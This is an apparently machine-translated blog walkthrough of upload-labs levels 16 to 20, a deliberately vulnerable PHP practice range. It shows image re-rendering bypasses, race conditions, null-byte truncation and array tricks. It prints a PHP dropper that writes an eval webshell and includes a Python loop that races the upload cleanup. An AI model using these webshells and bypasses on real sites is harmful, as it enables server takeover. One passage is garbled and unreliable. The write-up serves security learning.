The position without red is the same , The positions marked red are different 、 The slash part is the part corresponding to the insufficient position on both sides , The same parts of these two documents are few and cannot be changed directly , I uploaded another gif Of documents , Contrast

image-20220419184056684

You can see A large part of it is the same , You can add... To the same part Malicious code

image-20220419185224217

image-20220419185240859

image-20220419185248845

Successfully bypassed Second rendering

Method : Use the uncovered part after secondary rendering to pass malicious code

Pass-17

Upload a Picture horse Then you can still use the File Inclusion Vulnerability for parsing , But it doesn't seem to make any sense

image-20220419230350413

image-20220419230431469

Upload a php You will find that the file has been intercepted , That means it's a white list

image-20220419230554893

If you use file inclusion, it's easy to pass , But there should be other ways to bypass , So look at the source code

#  Source code 

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //  Intercept the suffix of the uploaded file ( Not including points )
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    1)if(move_uploaded_file($temp_file, $upload_file)){
     //  Move the uploaded file to a new location 
     2)   if(in_array($file_ext,$ext_arr)){
     //  Here is the judgment of file suffix 
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
    
            $msg = " Only upload is allowed .jpg|.png|.gif Type file !";
            unlink($upload_file); //  Delete file 
        }
    }else{
    
        $msg = ' Upload error !';
    }
}

See above 1) and 2) The location of , First move the uploaded file to a new location, and then judge whether the file is a picture. If not, delete the moved picture , Is it a little lax in logic , It shows that there are places we can bypass , If you upload and visit pictures crazily , It may cause that the file is being accessed and cannot be deleted , The file can be kept temporarily .

image-20220419231328455

in order to webshell Can play a better role , I'm going to use php Automatically generate a sentence , So if a visit succeeds , Will generate a Trojan file , The purpose is achieved .

#  The code in the accessed file 
<?php
	fputs(fopen('shell.php', 'w'),'<?php @eval($_POST["cmd"]) ?>')
?>
    
# shell.php  The file will be generated webshell file , Write a sentence code inside 

Just upload one php Capture files , Send the packet capture data Intruder Module

image-20220420165606200

Set up load No load , take Repeat indefinitely Check on , such You can always upload shell file , Can't stop .

image-20220420165628831

Simulate access to uploaded shell file , Carry out the bag , Set unlimited access , When one visit is successful, it will be in Generate a... Under the uploaded directory webshell.php file .

image-20220420165648033

image-20220420165717834

Two Payload When it's all set up , You can start performing .

episode : I don't know what causes the upload error all the time , Change an environment and you can respond normally , So let's use another environment Conditional competition Test of .( It was later discovered that it was because windows The problem of the security center of the system ,php The document was deleted as soon as it was submitted , The code cannot find the moved file, and then an error is reported )

image-20220420002236205

image-20220420002412146

Burp visit shell There are always errors in documents , Can't Can only be used temporarily python Run , Finally ran out , Very good .

image-20220420173953190

image-20220420173856110

Visit webshell.php file , Verify that some are actually generated successfully .

image-20220420174058629

Access blank , Description file exists , Just no output statement , So it looks blank , Use plug-ins to shell Reference execution .

image-20220420174221252

Successful visit webshell.php File and transfer parameters to output .

Method : Conditional competition

Pass-18

Upload a shell File capture , Put it in the playback module for testing , First, I tested the server verification logic , I am here png Followed by a space , The response directly indicates that uploading is not allowed , Upload one normally png There is no problem with suffix files .

image-20220420180532718

The return comparison above and below , You know , This level does not filter spaces , No verification MIME and The file header just checks the suffix of the file , A proper white list .

image-20220420180558936

No idea , Just look at the source code and tips

#  Source code 
/index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    
    require_once("./myupload.php"); //  Include this php file 
    $imgFileName =time();		//  Get the current time 
    //  Create an object , Get the file name of the uploaded file 、 Temporary file name 、 File size and current system time 
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
    
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = ' The file has been uploaded , But not renamed .';
            break; 
        case -1:
            $msg = ' This file cannot be uploaded to the temporary file storage directory of the server .';
            break; 
        case -2:
            $msg = ' Upload failed , Upload directory is not writable .';
            break; 
        case -3:
            $msg = ' Upload failed , Can't upload this type of file .';
            break; 
        case -4:
            $msg = ' Upload failed , The uploaded file is too large .';
            break; 
        case -5:
            $msg = ' Upload failed , A file with the same name already exists on the server .';
            break; 
        case -6:
            $msg = ' File cannot be uploaded , The file cannot be copied to the destination directory .';
            break;      
        default:
            $msg = ' Unknown error !';
            break;
    }
}

//myupload.php
class MyUpload{
     //  Here we define the files that can be uploaded 
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/
  function upload( $dir ){
    
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir ); //  Set the directory 
    if( $ret != 1 ){
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension(); //  Check suffix 
    if( $ret != 1 ){
    
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize(); //  Check file size 
    if( $ret != 1 ){
    
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
    
      
      $ret = $this->checkFileExists(); //  Check if the file exists 
      if( $ret != 1 ){
    
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move(); //  Moving files 
    if( $ret != 1 ){
    
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
    
      $ret = $this->renameFile(); //  Rename file 
      if( $ret != 1 ){
    
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

I was a little confused when I saw the above code , Because I don't know , But look at the name of the object I know the function of this code ( Thanks to the naming conventions given by the author ), The above first is to judge the file Whether the suffix conforms to , Whether the file exists, and then Moving files After that rename , So there may also be Conditional competition , Because the name change is behind the mobile , Just bypass suffix detection , Fast access to files , It may not be changed to the file name . But why execute code ? Because there may be apache File parsing vulnerability ( Parse from right to left ), So it can be used in conjunction with parsing vulnerabilities . Same as above , Unlimited upload and then cooperate with the file to contain vulnerabilities. Unlimited access to the uploaded file , Until it is successfully accessed and a shell file .

image-20220420224351385

By the way, I don't drop it very much py Code

##  When you are not sure of a success , It is recommended to use   Finite cycle test , No problem, then infinite loop , Avoid crashing the computer ( Run to a certain extent py Will automatically exit )
# !/usr/bin/env python3
# -*- coding:'UTF-8' -*-
#===============================================================================
# @Filename: upload-labs.py
# @Version: v0.1
# @Author: 0ne0ay
# @Email: [email protected]
# @Time: 2022-04-20 23:02:29
# @Note: upload-labs Pass-17~18
#===============================================================================
import requests

payload = 'http://192.168.93.128/upload/wfile_post_cmd.php.7z'		//  Write the address of the accessed file here 

# n = 1
''':return while  Finite cycle 100 The second general True Change it to  n < 100, Annotate n Partial removal '''
while True: 
	request = requests.get(payload)
	status = request.status_code
	if status == 200:
		print('webshell.php The generated , Access status code :', status)		//  Generate shell It will automatically exit the cycle after 
		break
	else:
# n += 1
		print(' Still visiting ........',status)
		continue
print('END')
# php_shell  Code 
<?php
	fputs(fopen('webshell.php', 'w'),'<?php @eval($_POST["cmd"])?>');
?>

I had several interviews before , They didn't come out , Thank you 【 Blogger 】 The article , Let me take fewer detours . There may be a small problem in this question Bug It could be intentional , The file was uploaded directly to root directory Next , So the visit upload It's no use how to access .

modify Shooting range source code , Add ‘/’ It can be bug Repair .

image-20220420224824629

Now let's test the generated webshell Can I use it .

image-20220420225241635

Method :apache Analyze vulnerabilities and compete with conditions

Pass-19

Uploaded a php The file was tested , I found that the name was changed to the part marked red below , The name of this part can be customized , But the suffix must meet the requirements , Otherwise you can't save it .

image-20220420231601659

I will modify the saved file name , utilize 00 truncation Trying to get around this limitation , When saving the name of the file , After truncation , Save only 0x00 Front part .

image-20220420231759859

image-20220420231926647

Check again after sending the packet .

image-20220420231913956

image-20220420232010288

Only saved 0x00 Front part , such shell Just upload it , Just access the file we truncated .

image-20220420232203865

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
     //  The blacklist 
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name']; //  Get the input file name 
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); // pathinfo()  Return the file path information ,PATHINFO_EXTENSION  Specifies the last... In the return path .

        if(!in_array($file_ext,$deny_ext)) {
     //  Determine whether the suffix exists in the blacklist 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
     
                $is_upload = true;
            }else{
    
                $msg = ' Upload error !';
            }
        }else{
    
            $msg = ' Do not save as this type of file !';
        }

    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

stay pathinfo There are loopholes here , He only saves the last part of the uploaded file as suffix and filter , The use of 00 truncation after , When the file is saved, it will not be saved 00 String after , Only the front .

Method :0x00 truncation

Pass-20

Looks like the one above , Just test it .

image-20220420232453324

Directly intercepted , This indicates that the uploaded file has been verified , The specific verification at that position needs to be tested again .

MIME、 suffix 、 The file header

image-20220420232609805

The test modified the following Content-Type Field , The file is uploaded successfully , Try again. 0x00 truncation .

image-20220420232844709

Sure enough , here 00 truncation It can't be used , Tested 0a Not good either. , Let's look at the source code first

#  Source code 
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    
    // Check MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    
        $msg = " Do not upload this type of file !";
    }else{
    
        // check filenames 
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; 
        //  If no name is defined, use the file name , Otherwise, use the defined name 
      1if (!is_array($file)) {
     //  Judge  $file  Is it an array , The uploaded file is definitely not an array , therefore  !is_array($file)  Namely True( The loophole is here )
            $file = explode('.', strtolower($file)); //  Use  '.'  Separate strings , Returns an array of ,strtolower()  Convert a string to lowercase 
        }

        $ext = end($file); //  Take out the last value in the array (. Value after )
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
    
            $msg = " Do not upload this suffix file !";
        }else{
    
            $file_name = reset($file) . '.' . $file[count($file) - 1]; // reset  Will get the name of the file , And again count The suffix obtained after splicing 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $msg = " File upload succeeded !";
                $is_upload = true;
            } else {
    
                $msg = " File upload failed !";
            }
        }
    }
}else{
    
    $msg = " Please select the file to upload !";
}

1) Determine whether the value passed in is an array , If not, use explode Divide into arrays with dots , But it didn't go If $file Is an array , First, run the array code .

# $file  It's an array case 
 if (!is_array($file)) {
     //  Judge  $file  Is it an array , The uploaded file is definitely not an array , therefore  !is_array($file)  Namely True( The loophole is here )
            $file = explode('.', strtolower($file)); //  Use  '.'  Separate strings , Returns an array of ,strtolower()  Convert a string to lowercase 
        }
//  If  $file  It's an array , It's up there  explode Statement will not execute , Instead, execute the following statement block directly 

ext = end($file); //  Take out the last value in the array (. Value after )
//  Use the array to bypass the judgment here 
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
    
            $msg = " Do not upload this suffix file !";
        }else{
    
            $file_name = reset($file) . '.' . $file[count($file) - 1]; // reset  Will get the name of the file , And again count The suffix obtained after splicing 
    //  there  $file  If it's an array , be count($file)-1  You can change it to empty 
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $msg = " File upload succeeded !";
                $is_upload = true;
            } else {
    
                $msg = " File upload failed !";
            }
        }
    }

##  part  PHP  function 
end —  Point the internal pointer of the array to the last cell 
reset —  Point the internal pointer of the array to the first cell 
count —  Statistical array 、Countable  The number of all elements in the object 
explode —  Use one string to split another string 

Using the properties of arrays , take save_name Pass in the value as an index ,save_name[0] Will be reset( f i l e ) finger towards , s a v e n a m e [ 2 ] Meeting stay e n d ( ) Letter Count in By finger towards , from this can With Around the too after Affix Of school Examination , and stay Spell it Pick up Of when Hou ∗ ∗ c o u n t ( file) Point to ,save_name[2] Will be in end() Function is pointed to , Thus, the verification of suffix can be bypassed , And when splicing **count( file) finger towards ,savename[2] Meeting stay end() Letter Count in By finger towards , from this can With Around the too after Affix Of school Examination , and stay Spell it Pick up Of when Hou count(file) == 2**, therefore $file[2-1] Indexes The position of is empty , Last Spliced into info.php. Successfully bypassed .

image-20220421001723634

visit shell file .

image-20220421002427967

Method : Code audit

summary

upload-labs The shooting range is over , Sum up , Still learn a lot , Most of the vulnerabilities are basically caused by A logical flaw in the code , The attacker cooperates with different Features of the operating system and Vulnerabilities caused by some configuration errors of middleware Finally, we can achieve getshell Purpose , If the means of site filtering is blacklist , Security may be much lower than the white list , There are many ways to bypass the blacklist , The white list is relatively small , Most of them attack with the loopholes of the system or middleware .
Yes php I know too little about the function of , Code auditing is difficult , There is still a long way to go , We have to work hard .

above Pass What if found in Pass Having doubts or finding mistakes , Hope to leave your thoughts .

版权声明
本文为[King_ nul]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230629526331.html

随机推荐